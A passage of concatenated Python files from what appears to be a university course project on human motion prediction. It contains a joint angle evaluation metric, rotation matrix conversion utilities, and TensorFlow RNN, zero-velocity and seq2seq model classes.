Tensorboard summary ops. Args: final_metrics: Dictionary of metric values, expects them to be in shape (seq_length, ). Returns: The feed dictionary filled with values per summary. """ feed_dict = dict() for m in self.summaries: for t in self.summaries[m]: pl = self.summaries[m][t][1] val = np.sum(final_metrics[m][:t]) feed_dict[pl] = val return feed_dict def compute(self, predictions, targets, reduce_fn="mean"): """ Compute the joint angle metric. Predictions and targets are assumed to be in rotation matrix format. Args: predictions: An np array of shape (n, seq_length, n_joints*9) targets: An np array of the same shape as `predictions` reduce_fn: Which reduce function to apply to the joint dimension, if applicable. Choices are [mean, sum]. Returns: A dictionary {"joint_angle" -> values} where the values are given per batch entry and frame as an np array of shape (n, seq_length). """ assert predictions.shape[-1] % 9 == 0, "predictions are not rotation matrices" assert targets.shape[-1] % 9 == 0, "targets are not rotation matrices" assert reduce_fn in ["mean", "sum"] assert not self._should_call_reset, "you should reset the state of this class after calling `finalize`" dof = 9 n_joints = len(SMPL_MAJOR_JOINTS) batch_size = predictions.shape[0] seq_length = predictions.shape[1] assert n_joints*dof == predictions.shape[-1], "unexpected number of joints" # first reshape everything to (-1, n_joints * 9) pred = np.reshape(predictions, [-1, n_joints*dof]).copy() targ = np.reshape(targets, [-1, n_joints*dof]).copy() # enforce valid rotations pred_val = np.reshape(pred, [-1, n_joints, 3, 3]) pred = get_closest_rotmat(pred_val) pred = np.reshape(pred, [-1, n_joints*dof]) # check that the rotations are valid pred_are_valid = is_valid_rotmat(np.reshape(pred, [-1, n_joints, 3, 3])) assert pred_are_valid, 'predicted rotation matrices are not valid' targ_are_valid = is_valid_rotmat(np.reshape(targ, [-1, n_joints, 3, 3])) assert targ_are_valid, 'target rotation matrices are not valid' # add missing joints pred = sparse_to_full(pred, SMPL_MAJOR_JOINTS, SMPL_NR_JOINTS) targ = sparse_to_full(targ, SMPL_MAJOR_JOINTS, SMPL_NR_JOINTS) # make sure we don't consider the root orientation assert pred.shape[-1] == SMPL_NR_JOINTS*dof assert targ.shape[-1] == SMPL_NR_JOINTS*dof pred[:, 0:9] = np.eye(3, 3).flatten() targ[:, 0:9] = np.eye(3, 3).flatten() metrics = dict() select_joints = SMPL_MAJOR_JOINTS reduce_fn_np = np.mean if reduce_fn == "mean" else np.sum # compute the joint angle diff on the global rotations pred_global = local_rot_to_global(pred, SMPL_PARENTS, left_mult=False) # (-1, full_n_joints, 3, 3) targ_global = local_rot_to_global(targ, SMPL_PARENTS, left_mult=False) # (-1, full_n_joints, 3, 3) v = angle_diff(pred_global[:, select_joints], targ_global[:, select_joints]) # (-1, n_joints) v = np.reshape(v, [batch_size, seq_length, n_joints]) metrics["joint_angle"] = reduce_fn_np(v, axis=-1) return metrics def aggregate(self, new_metrics): """ Aggregate the metrics. Args: new_metrics: Dictionary of new metric values to aggregate. Each entry is expected to be a numpy array of shape (batch_size, seq_length). """ assert isinstance(new_metrics, dict) assert list(new_metrics.keys()) == list(self.metrics_agg.keys()) # sum over the batch dimension for m in new_metrics: if self.metrics_agg[m] is None: self.metrics_agg[m] = np.sum(new_metrics[m], axis=0) else: self.metrics_agg[m] += np.sum(new_metrics[m], axis=0) # keep track of the total number of samples processed batch_size = new_metrics[list(new_metrics.keys())[0]].shape[0] self.n_samples += batch_size def compute_and_aggregate(self, predictions, targets, reduce_fn="mean"): """ Computes the joint angle metric values and aggregates them directly. Args: predictions: An np array of shape (n, seq_length, n_joints*dof) targets: An np array of the same shape as `predictions` reduce_fn: Which reduce function to apply to the joint dimension, if applicable. Choices are [mean, sum]. """ new_metrics = self.compute(predictions, targets, reduce_fn) self.aggregate(new_metrics) def get_final_metrics(self): """ Finalize and return the metrics - this should only be called once all the data has been processed. Returns: A dictionary of the final aggregated metrics per time step. """ self._should_call_reset = True # make sure to call `reset` before new values are computed assert self.n_samples > 0 for m in self.metrics_agg: self.metrics_agg[m] = self.metrics_agg[m] / self.n_samples # return a copy of the metrics so that the class can be re-used again immediately return copy.deepcopy(self.metrics_agg) @classmethod def get_summary_string(cls, final_metrics): """ Create a summary string from the given metrics, e.g. for printing to the console. Args: final_metrics: Dictionary of metric values, expects them to be in shape (seq_length, ). Returns: A summary string. """ seq_length = final_metrics[list(final_metrics.keys())[0]].shape[0] s = "metrics until {}:".format(seq_length) for m in sorted(final_metrics): val = np.sum(final_metrics[m]) s += " {}: {:.3f}".format(m, val) return s @classmethod def get_eval_loss(cls, final_metrics): for m in sorted(final_metrics): val = np.sum(final_metrics[m]) return val <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ class Constants(object): # To control randomness. SEED = 4313 # Run modes. TRAIN = 'training' TEST = 'test' EVAL = 'validation' # Recurrent cells. LSTM = 'lstm' GRU = 'gru' # Data Batch. BATCH_SEQ_LEN = "seq_len" BATCH_INPUT = "inputs" BATCH_TARGET = "targets" BATCH_ID = "id" # Activation functions. RELU = 'relu' TANH = "tanh" SIGMOID = "sigmoid" # Metrics. METRIC_TARGET_LENGTHS = [5, 10, 19, 24, 34, 60] # @ 60 fps, in ms: 83.3, 166.7, 316.7, 400, 566.7, 1000 <file_sep>import numpy as np import cv2 def is_rotmat(r): rt = np.transpose(r) n = np.linalg.norm(np.eye(3, dtype=r.dtype) - np.dot(rt, r)) return n < 1e-6 def rotation(theta): cx, cy, cz = np.cos(theta) sx, sy, sz = np.sin(theta) r = np.array( [ [cy*cz, sx*sy*cz - cx*sz, cx*sy*cz + sx*sz], [cy*sz, sx*sy*sz + cx*cz, cx*sy*sz - sx*cz], [-sy, sx*cy, cx*cy] ] ) r = r / np.linalg.det(r) return r def random_rotation_matrix(): theta = np.random.uniform(0, 2 * np.pi, size=(3,)) r = rotation(theta) return r def rodrigues_metod(input, rotmat_to_angle=True): if rotmat_to_angle: assert is_rotmat(input) angle_axis = np.zeros(shape=(3,)) if np.all(input == np.eye(3)): return angle_axis rot = 0.5*(input - input.T) angle_axis[0] = rot[2, 1] angle_axis[1] = rot[0, 2] angle_axis[2] = rot[1, 0] norm = np.linalg.norm(angle_axis) norm = np.clip(norm, -1, 1) # angle_axis = angle_axis / norm angle_axis = (angle_axis*np.arcsin(norm)) / norm return angle_axis else: rot_ = np.zeros(shape=(3, 3)) theta = np.linalg.norm(input) if theta < 1e-5: return np.eye(3) angle_vec = input / theta rot_[0, 1] = -angle_vec[2] rot_[0, 2] = angle_vec[1] rot_[1, 0] = angle_vec[2] rot_[1, 2] = -angle_vec[0] rot_[2, 0] = -angle_vec[1] rot_[2, 1] = angle_vec[0] rot = np.cos(theta)*np.eye(3) + (1-np.cos(theta))*np.outer(angle_vec, angle_vec) \ + np.sin(theta)*rot_ return rot def rodrigues(input): if len(input) == 9: input = np.reshape(input, newshape=(3, 3)) if input.shape == (3,) or input.shape == (3, 1): def k_mat(axis): return np.array([[0, -axis[2], axis[1]], [axis[2], 0, -axis[0]], [-axis[1], axis[0], 0]]) theta = np.linalg.norm(input) if theta < 1e-30: return np.eye(3) else: axis_ = input / theta K = k_mat(axis_) return np.eye(3) + np.sin(theta) * K + (1 - np.cos(theta)) * np.dot(K, K) elif input.shape == (3, 3): assert is_rotmat(input) angle_axis = np.zeros(shape=(3,)) if np.all(input == np.eye(3)): return angle_axis else: K = (input - input.T) / 2 angle_axis[0] = K[2, 1] angle_axis[1] = K[0, 2] angle_axis[2] = K[1, 0] norm = np.linalg.norm(angle_axis) angle_axis = angle_axis / norm theta_1 = np.arccos((np.trace(input) - 1) / 2) # theta_2 = np.arcsin(np.clip(norm, 0, 1)) angle_axis = angle_axis * theta_1 return angle_axis def rot_mats_to_angle_axis(rot_mat_tensor): s = rot_mat_tensor.shape # (16, 24, 135) / (384, 135) rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(-1, 3, 3)) # (5760, 3, 3) angle_axis_tensor = np.stack(list(map(rodrigues, rot_mat_tensor)), axis=0) # (5760, 3) if len(s) == 2: angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(-1, 45)) # (384, 45) elif len(s) == 3: angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(s[0], s[1], 45)) # (16, 24, 45) return angle_axis_tensor.astype(np.float32) def angle_axis_to_rot_mats(angle_axis_tensor): s = angle_axis_tensor.shape # (16, 24, 45) / (384, 45) angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(-1, 3)) # (5760, 3) rot_mat_tensor = np.stack(list(map(rodrigues, angle_axis_tensor)), axis=0) # (5760, 3, 3) if len(s) == 2: rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(-1, 135)) # (384, 135) elif len(s) == 3: rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(s[0], s[1], 135)) # (16, 24, 135) return rot_mat_tensor.astype(np.float32) def angle_axis_to_rot_mats_cv2(angle_axis_tensor): s = angle_axis_tensor.shape # (16, 24, 45) / (384, 45) angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(-1, 3)) # (5760, 3) rot_mat_tensor = np.zeros(shape=(angle_axis_tensor.shape[0], 3, 3), dtype=np.float32) # (5760, 3, 3) for idx in range(angle_axis_tensor.shape[0]): angle_axis = angle_axis_tensor[idx, :] rot_mat, _ = cv2.Rodrigues(angle_axis) assert is_rotmat(rot_mat) rot_mat_tensor[idx, :, :] = rot_mat if len(s) == 2: rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(-1, 135)) # (384, 135) elif len(s) == 3: rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(s[0], s[1], 135)) # (16, 24, 135) return rot_mat_tensor.astype(np.float32) def rot_mats_to_angle_axis_cv2(rot_mat_tensor): s = rot_mat_tensor.shape # (16, 24, 135) / (384, 135) rot_mat_tensor = np.reshape(rot_mat_tensor, newshape=(-1, 3, 3)) # (5760, 3, 3) angle_axis_tensor = np.zeros(shape=(rot_mat_tensor.shape[0], 3), dtype=np.float32) for idx in range(rot_mat_tensor.shape[0]): rot_mat = rot_mat_tensor[idx, :, :] assert is_rotmat(rot_mat) angle_axis, _ = cv2.Rodrigues(rot_mat) angle_axis = np.reshape(angle_axis, newshape=(3, )) angle_axis_tensor[idx, :] = angle_axis if len(s) == 2: angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(-1, 45)) # (384, 45) elif len(s) == 3: angle_axis_tensor = np.reshape(angle_axis_tensor, newshape=(s[0], s[1], 45)) # (16, 24, 45) return angle_axis_tensor.astype(np.float32) if __name__ == "__main__": batch_size = 16 seq_len = 24 X1 = np.zeros(shape=(batch_size, seq_len, 135)) X1_shape = X1.shape X1 = np.reshape(X1, newshape=(-1, 3, 3)) for i in range(X1.shape[0]): R = random_rotation_matrix() X1[i, :, :] = R X1 = np.reshape(X1, newshape=(X1_shape[0], X1_shape[1], X1_shape[2])) # TRANSFORM Y1 = rot_mats_to_angle_axis(X1) Y2 = angle_axis_to_rot_mats(Y1) Y1_cv2 = rot_mats_to_angle_axis(X1) Y2_cv2 = angle_axis_to_rot_mats_cv2(Y1_cv2) print("X1", X1.shape, "\tY1", Y1.shape, "Y2", Y2.shape, "\tY1_cv2", Y1_cv2.shape, "Y2_cv2", Y2_cv2.shape) X1 = np.reshape(X1, newshape=(-1, 3, 3)) Y1 = np.reshape(Y1, newshape=(-1, 3)) Y2 = np.reshape(Y2, newshape=(-1, 3, 3)) Y1_cv2 = np.reshape(Y1_cv2, newshape=(-1, 3)) Y2_cv2 = np.reshape(Y2_cv2, newshape=(-1, 3, 3)) print("X1", X1.shape, "\tY1", Y1.shape, "Y2", Y2.shape, "\tY1_cv2", Y1_cv2.shape, "Y2_cv2", Y2_cv2.shape) eps = 1e-6 for i in range(X1.shape[0]): print("\n", i) print("||X1 - Y2||", np.linalg.norm(X1[i, :, :] - Y2[i, :, :]) < eps) print("||X1 - Y2_cv2||", np.linalg.norm(X1[i, :, :] - Y2_cv2[i, :, :]) < eps) print("||Y1_cv2 - Y1||", np.linalg.norm(Y1_cv2[i, :] - Y1[i, :]) < eps) <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import numpy as np import tensorflow as tf from constants import Constants as C from utils import get_activation_fn from utils import geodesic_distance from motion_metrics import get_closest_rotmat from pp_utils import angle_axis_to_rot_mats_cv2, angle_axis_to_rot_mats class BaseModel(object): """ Base class that defines some functions and variables commonly used by all models. Subclass `BaseModel` to create your own models (cf. `DummyModel` for an example). """ def __init__(self, config, data_pl, mode, reuse, **kwargs): self.config = config # The config parameters from the train.py script. self.data_placeholders = data_pl # Placeholders where the input data is stored. self.mode = mode # Train or eval. self.reuse = reuse # If we want to reuse existing weights or not. self.source_seq_len = config["source_seq_len"] # Length of the input seed. self.target_seq_len = config["target_seq_len"] # Length of the predictions to be made. self.batch_size = config["batch_size"] # Batch size. self.activation_fn_out = get_activation_fn(config["activation_fn"]) # Output activation function. self.activation_fn_in = get_activation_fn(config["activation_input"]) # Input activation function. self.data_inputs = data_pl[C.BATCH_INPUT] # Tensor of shape (batch_size, seed length + target length) self.data_targets = data_pl[C.BATCH_TARGET] # Tensor of shape (batch_size, seed length + target length) self.data_seq_len = data_pl[C.BATCH_SEQ_LEN] # Tensor of shape (batch_size, ) self.data_ids = data_pl[C.BATCH_ID] # Tensor of shape (batch_size, ) self.is_eval = self.mode == C.EVAL # If we are in evaluation mode. self.is_training = self.mode == C.TRAIN # If we are in training mode. self.global_step = tf.train.get_global_step(graph=None) # Stores the number of training iterations. self.optimizer = self.config["optimizer"] self.loss = self.config["loss"] self.max_gradient_norm = 5.0 # standardization self.standardization = self.config["standardization"] self.means = kwargs.get("means", None) self.vars = kwargs.get("vars", None) # The following members should be set by the child class. self.outputs = None # The final predictions. self.prediction_targets = None # The targets. self.prediction_inputs = None # The inputs used to make predictions. self.prediction_representation = None # Intermediate representations. self.loss = None # Loss op to be used during training. self.learning_rate = config["learning_rate"] # Learning rate. self.parameter_update = None # The training op. self.summary_update = None # Summary op. self.loss_continuity = None self.loss_fidelity = None self.fidelity = None self.gradients_visual = 1 self.gradients_visual_disc = 1 self.to_angles = self.config["to_angles"] self.dropout_lin = self.config['dropout_lin'] # Hard-coded parameters that define the input size. # Feature representation if not self.to_angles: self.JOINT_SIZE = 3*3 self.NUM_JOINTS = 15 self.HUMAN_SIZE = self.NUM_JOINTS*self.JOINT_SIZE self.input_size = self.HUMAN_SIZE else: self.JOINT_SIZE = 3 self.NUM_JOINTS = 15 self.HUMAN_SIZE = self.NUM_JOINTS*self.JOINT_SIZE self.input_size = self.HUMAN_SIZE def build_graph(self): """Build this model, i.e. its computational graph.""" self.build_network() def build_network(self): """Build the core part of the model. This must be implemented by the child class.""" raise NotImplementedError() def build_loss(self): """Build the loss function.""" if self.is_eval: # In evaluation mode (for the validation set) we only want to know the loss on the target sequence, # because the seed sequence was just used to warm up the model. predictions_pose = self.outputs[:, -self.target_seq_len:, :] targets_pose = self.prediction_targets[:, -self.target_seq_len:, :] else: predictions_pose = self.outputs targets_pose = self.prediction_targets with tf.name_scope("loss"): if self.loss == "geo": # Geodesic loss if self.to_angles: self.loss = geodesic_distance(angle_axis_to_rot_mats(targets_pose), angle_axis_to_rot_mats(predictions_pose)) else: self.loss = geodesic_distance(targets_pose, predictions_pose) else: diff = targets_pose - predictions_pose self.loss = tf.reduce_mean(tf.square(diff)) def optimization_routines(self): """Add an optimizer.""" # Use a simple SGD optimizer. if self.optimizer == 'SGD': optimizer = tf.train.GradientDescentOptimizer(self.learning_rate) else: optimizer = tf.train.AdamOptimizer(self.learning_rate) # Gradients and update operation for training the model. update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(update_ops): params = tf.trainable_variables() gradients = tf.gradients(self.loss, params) # In case you want to do anything to the gradients, here you could do it. clipped_gradients, _ = tf.clip_by_global_norm(gradients, self.max_gradient_norm) self.parameter_update = optimizer.apply_gradients(grads_and_vars=zip(clipped_gradients, params), global_step=self.global_step) def build_output_layer(self): """Build the final dense output layer without any activation.""" with tf.variable_scope("output_layer", reuse=self.reuse): self.outputs = tf.layers.dense(self.prediction_representation, self.input_size, use_bias=True, activation=self.activation_fn_out, reuse=self.reuse) if self.dropout_lin: self.outputs = tf.layers.dropout(self.outputs, rate=self.dropout_lin, training=not self.reuse) def summary_routines(self): """Create the summary operations necessary to write logs into tensorboard.""" # Note that summary_routines are called outside of the self.mode name_scope. Hence, self.mode should be # prepended to the summary name if needed. tf.summary.scalar(self.mode+"/loss", self.loss, collections=[self.mode+"/model_summary"]) tf.summary.scalar(self.mode+"/gradients", self.gradients_visual, collections=[self.mode+"/model_summary"]) if self.fidelity: tf.summary.scalar(self.mode + "/loss_continuity", self.loss_continuity, collections=[self.mode + "/model_summary"]) tf.summary.scalar(self.mode + "/loss_fidelity", self.loss_fidelity, collections=[self.mode + "/model_summary"]) tf.summary.scalar(self.mode + "/gradients_disc", self.gradients_visual_disc, collections=[self.mode + "/model_summary"]) if self.is_training: tf.summary.scalar(self.mode + "/learning_rate", self.learning_rate, collections=[self.mode + "/model_summary"]) self.summary_update = tf.summary.merge_all(self.mode+"/model_summary") def step(self, session): """ Perform one training step, i.e. compute the predictions when we can assume ground-truth is available. """ raise NotImplementedError() def sampled_step(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This still assumes that we have ground-truth available.""" raise NotImplementedError() def predict(self, session): """ Compute the predictions given the seed sequence without having access to the ground-truth values. """ raise NotImplementedError() class DummyModel(BaseModel): """ A dummy RNN model. """ def __init__(self, config, data_pl, mode, reuse, **kwargs): super(DummyModel, self).__init__(config, data_pl, mode, reuse, **kwargs) # Extract some config parameters specific to this model self.cell_type = self.config["cell_type"] self.cell_size = self.config["cell_size"] self.input_hidden_size = self.config["input_hidden_size"] self.num_rnn_layers = self.config["num_rnn_layers"] # Prepare some members that need to be set when creating the graph. self.cell = None # The recurrent cell. Defined in build_cell. self.initial_states = None # The intial states of the RNN. Defined in build_network. self.rnn_outputs = None # The outputs of the RNN layer. self.rnn_state = None # The final state of the RNN layer. self.inputs_hidden = None # The inputs to the recurrent cell. print("data_inputs\t", self.data_inputs.get_shape()) print("data_targets\t", self.data_targets.get_shape()) print("data_seq_len\t", self.data_seq_len.get_shape(), self.data_seq_len) print("data_ids\t", self.data_ids.get_shape(), self.data_ids) # How many steps we must predict. if self.is_training: self.sequence_length = self.source_seq_len + self.target_seq_len - 1 else: self.sequence_length = self.target_seq_len self.prediction_inputs = self.data_inputs[:, :-1, :] # Pose input. self.prediction_targets = self.data_inputs[:, 1:, :] # The target poses for every time step. self.prediction_seq_len = tf.ones((tf.shape(self.prediction_targets)[0]), dtype=tf.int32)*self.sequence_length print("source_seq_len", self.source_seq_len) print("target_seq_len", self.target_seq_len) print("sequence_len", self.sequence_length) print("prediction_inputs\t", self.prediction_inputs.get_shape()) print("prediction_targets\t", self.prediction_targets.get_shape()) print("prediction_seq_len\t", self.prediction_seq_len.get_shape()) # Sometimes the batch size is available at compile time. self.tf_batch_size = self.prediction_inputs.shape.as_list()[0] if self.tf_batch_size is None: # Sometimes it isn't. Use the dynamic shape instead. self.tf_batch_size = tf.shape(self.prediction_inputs)[0] def build_input_layer(self): """ Here we can do some stuff on the inputs before passing them to the recurrent cell. The processed inputs should be stored in `self.inputs_hidden`. """ # We could e.g. pass them through a dense layer if self.input_hidden_size is not None: with tf.variable_scope("input_layer", reuse=self.reuse): self.inputs_hidden = tf.layers.dense(self.prediction_inputs, self.input_hidden_size, tf.nn.relu, reuse=self.reuse) else: self.inputs_hidden = self.prediction_inputs print("inputs_hidden:\t", self.inputs_hidden.get_shape()) def build_cell(self): """Create recurrent cell.""" with tf.variable_scope("rnn_cell", reuse=self.reuse): if self.cell_type == C.LSTM: if self.num_rnn_layers == 1: cell = tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) else: cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.LSTMCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) elif self.cell_type == C.GRU: if self.self.num_rnn_layers == 1: cell = tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) else: cell = tf.nn.rnn_cell.MultiRNNCell([tf.nn.rnn_cell.GRUCell(self.cell_size, reuse=self.reuse) for _ in range(self.num_rnn_layers)]) else: raise ValueError("Cell type '{}' unknown".format(self.cell_type)) self.cell = cell def build_network(self): """Build the core part of the model.""" self.build_input_layer() self.build_cell() self.initial_states = self.cell.zero_state(batch_size=self.tf_batch_size, dtype=tf.float32) with tf.variable_scope("rnn_layer", reuse=self.reuse): self.rnn_outputs, self.rnn_state = tf.nn.dynamic_rnn(self.cell, self.inputs_hidden, sequence_length=self.prediction_seq_len, initial_state=self.initial_states, dtype=tf.float32) self.prediction_representation = self.rnn_outputs self.build_output_layer() self.build_loss() def build_loss(self): super(DummyModel, self).build_loss() def step(self, session): """ Run a training or validation step of the model. Args: session: Tensorflow session object. Returns: A triplet of loss, summary update and predictions. """ if self.is_training: # Training step. output_feed = [self.loss, self.summary_update, self.outputs, self.parameter_update, self.data_inputs, self.data_targets, self.data_seq_len, self.data_ids, self.prediction_inputs, self.prediction_targets, self.inputs_hidden, self.rnn_state, self.rnn_outputs, self.prediction_representation, self.outputs, self.global_step, ] outputs = session.run(output_feed) # if outputs[15] < 3: # print("\n") # print("loss", outputs[0]) # print("data_inputs", outputs[4].shape) # print("data_targets", outputs[5].shape) # print("data_seq_len", outputs[6].shape) # print("data_ids", outputs[7].shape) # print("prediction_inputs", outputs[8].shape) # print("prediction_targets", outputs[9].shape) # print("inputs_hidden", outputs[10].shape) # print("rnn_state", outputs[11][0].shape, outputs[11][1].shape) # print("rnn_outputs", outputs[12].shape) # print("prediction_representation", outputs[13].shape) # print("outputs", outputs[14].shape) # print("predictions_pose", outputs[14][:, -self.target_seq_len:, :].shape) # print("targets_pose", outputs[9][:, -self.target_seq_len:, :].shape) return outputs[0], outputs[1], outputs[2] else: # Evaluation step (no backprop). output_feed = [self.loss, self.summary_update, self.outputs] outputs = session.run(output_feed) return outputs[0], outputs[1], outputs[2] def sampled_step(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This still assumes that we have ground-truth available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), ground-truth targets, seed sequence and unique sample IDs. """ assert self.is_eval, "Only works in evaluation mode." # Get the current batch. batch = session.run(self.data_placeholders) data_id = batch[C.BATCH_ID] data_sample = batch[C.BATCH_INPUT] targets = data_sample[:, self.source_seq_len:, :] # train (16, 24, 45/135) / test (16, 0, 45/135) seed_sequence = data_sample[:, :self.source_seq_len, :] predictions = self.sample(session, seed_sequence, prediction_steps=self.target_seq_len) # train/test (16, 24, 45/135) if self.to_angles: if targets.shape[1] != 0: targets = angle_axis_to_rot_mats_cv2(targets) # train (16, 24, 135) / test (16, 24, 135) predictions = angle_axis_to_rot_mats_cv2(predictions) # (16, 24, 135) return predictions, targets, seed_sequence, data_id def predict(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This assumes no ground-truth data is available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), seed sequence and unique sample IDs. """ # `sampled_step` is written such that it works when no ground-truth data is available, too. predictions, _, seed, data_id = self.sampled_step(session) return predictions, seed, data_id def sample(self, session, seed_sequence, prediction_steps): """ Generates `prediction_steps` may poses given a seed sequence. Args: session: Tensorflow session object. seed_sequence: A tensor of shape (batch_size, seq_len, feature_size) prediction_steps: How many frames to predict into the future. Returns: Prediction with shape (batch_size, prediction_steps, feature_size) """ assert self.is_eval, "Only works in sampling mode." one_step_seq_len = np.ones(seed_sequence.shape[0]) seed_seq_len = np.ones(seed_sequence.shape[0])*seed_sequence.shape[1] # Feed the seed sequence to warm up the RNN. feed_dict = {self.prediction_inputs: seed_sequence, self.prediction_seq_len: seed_seq_len} state, prediction = session.run([self.rnn_state, self.outputs], feed_dict=feed_dict) # Now create predictions step-by-step. prediction = prediction[:, -1:] # Last prediction from seed sequence predictions = [prediction] for step in range(prediction_steps-1): # get the prediction feed_dict = {self.prediction_inputs: prediction, self.initial_states: state, self.prediction_seq_len: one_step_seq_len} state, prediction = session.run([self.rnn_state, self.outputs], feed_dict=feed_dict) predictions.append(prediction) return np.concatenate(predictions, axis=1) class ZeroVelocityModel(BaseModel): """ Zero Velocity Model. Baseline model for short-term human motion prediction. Every frame in predicted/output sequence is equal to the last input frame. """ def __init__(self, config, data_pl, mode, reuse, **kwargs): super(ZeroVelocityModel, self).__init__(config, data_pl, mode, reuse, **kwargs) # Prepare some members that need to be set when creating the graph. self.cell = None # The recurrent cell. Defined in build_cell. self.initial_states = None # The intial states of the RNN. Defined in build_network. self.rnn_outputs = None # The outputs of the RNN layer. self.rnn_state = None # The final state of the RNN layer. self.inputs_hidden = None # The inputs to the recurrent cell. # How many steps we must predict. if self.is_training: self.sequence_length = self.source_seq_len + self.target_seq_len - 1 else: self.sequence_length = self.target_seq_len self.prediction_inputs = self.data_inputs[:, :-1, :] # Pose input. # Sometimes the batch size is available at compile time. self.tf_batch_size = self.prediction_inputs.shape.as_list()[0] if self.tf_batch_size is None: # Sometimes it isn't. Use the dynamic shape instead. self.tf_batch_size = tf.shape(self.prediction_inputs)[0] def build_input_layer(self): """ Here we can do some stuff on the inputs before passing them to the recurrent cell. The processed inputs should be stored in `self.inputs_hidden`. """ # We could e.g. pass them through a dense layer self.inputs_hidden = tf.constant([0]) def build_cell(self): """Create recurrent cell.""" self.cell = tf.constant([0]) def build_output_layer(self): """Build the final dense output layer without any activation.""" self.outputs = tf.constant([0]) def build_network(self): """Build the core part of the model.""" self.build_input_layer() self.initial_states = tf.constant([0]) self.rnn_outputs = tf.constant([0]) self.rnn_state = tf.constant([0]) self.build_output_layer() self.build_loss() def build_loss(self): self.loss = tf.constant(0) def step(self, session): """ Run a training or validation step of the model. Args: session: Tensorflow session object. Returns: A triplet of loss, summary update and predictions. """ if self.is_training: # Training step. output_feed = [self.loss, self.summary_update, self.outputs] outputs = session.run(output_feed) return outputs[0], outputs[1], outputs[2] else: output_feed = [self.loss, self.summary_update, self.outputs] outputs = session.run(output_feed) return outputs[0], outputs[1], outputs[2] def optimization_routines(self): """Add an optimizer.""" self.parameter_update = tf.constant([0]) def sampled_step(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This still assumes that we have ground-truth available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), ground-truth targets, seed sequence and unique sample IDs. """ assert self.is_eval, "Only works in evaluation mode." # Get the current batch. batch = session.run(self.data_placeholders) data_id = batch[C.BATCH_ID] data_sample = batch[C.BATCH_INPUT] targets = data_sample[:, self.source_seq_len:] # train (16, 24, 45/135) / test (16, 0, 45/135) seed_sequence = data_sample[:, :self.source_seq_len] predictions = self.sample(session, seed_sequence, prediction_steps=self.target_seq_len) # train/test (16, 24, 45/135) if self.to_angles: if targets.shape[1] != 0: targets = angle_axis_to_rot_mats_cv2(targets) predictions = angle_axis_to_rot_mats_cv2(predictions) # if self.standardization: # predictions = (predictions * self.vars) + self.means # targets = (targets * self.vars) + self.means return predictions, targets, seed_sequence, data_id def predict(self, session): """ Generates a sequence by feeding the prediction of time step t as input to time step t+1. This assumes no ground-truth data is available. Args: session: Tensorflow session object. Returns: Prediction with shape (batch_size, self.target_seq_len, feature_size), seed sequence and unique sample IDs. """ # `sampled_step` is written such that it works when no ground-truth data is available, too. predictions, _, seed, data_id = self.sampled_step(session) return predictions, seed, data_id def sample(self, session, seed_sequence, prediction_steps): """ Generates `prediction_steps` may poses given a seed sequence. Args: session: Tensorflow session object. seed_sequence: A tensor of shape (batch_size, seq_len, feature_size) prediction_steps: How many frames to predict into the future. Returns: Prediction with shape (batch_size, prediction_steps, feature_size) """ assert self.is_eval, "Only works in sampling mode." last_frame = seed_sequence[:, -1, :] # (16, 135) predictions = np.zeros(shape=(last_frame.shape[0], prediction_steps, last_frame.shape[1])) # (16, 24, 135) for step in range(prediction_steps): predictions[:, step, :] = last_frame return predictions class Seq2seq(BaseModel): """ Seq2seq model. """ def __init__(self, config, data_pl, mode, reuse, **kwargs): super(Seq2seq, self).__init__(config, data_pl, mode, reuse, **kwargs) if mode == C.TRAIN: print(self.config) # Extract some config parameters specific to this model self.cell_type = self.config["cell_type"] self.cell_size = self.config["cell_size"] self.input_hidden_size = self.config.get("input_hidden_size") self.residuals = self.config["residuals"] self.sampling_loss = self.config["sampling_loss"] self.fidelity = self.config["fidelity"] self.continuity = self.config["continuity"] self.lambda_ = self.config["lambda_"] self.num_rnn_layers = self.config["num_rnn_layers"] self.weight_sharing = self.config["weight_sharing"] self.weight_sharing_rnn = self.config["weight_sharing_rnn"] self.epsilon = self.config['epsilon'] self.exp_decay = self.config['exp_decay'] self.bi = self.config['bi'] self.cell_size_disc = self.config['cell_size_disc'] self.dropout = self.config['dropout'] self.l2_loss = None self.l2 = self.config["l2"] if self.l2 == 0.0: self.regularizer = None else: self.regularizer = tf.contrib.layers.l2_regularizer(scale=self.l2) # Prepare some members that need to be set when creating the graph. self.cell = None # The recurrent cell. (encoder) self.cell_decoder = None # The decoder cell. self.initial_states = None # The initial states of the RNN. self.initial_states_decoder = None # The decoder initial state. self.rnn_outputs = None # The outputs of the RNN layer. self.rnn_state = None # The final state of the RNN layer. 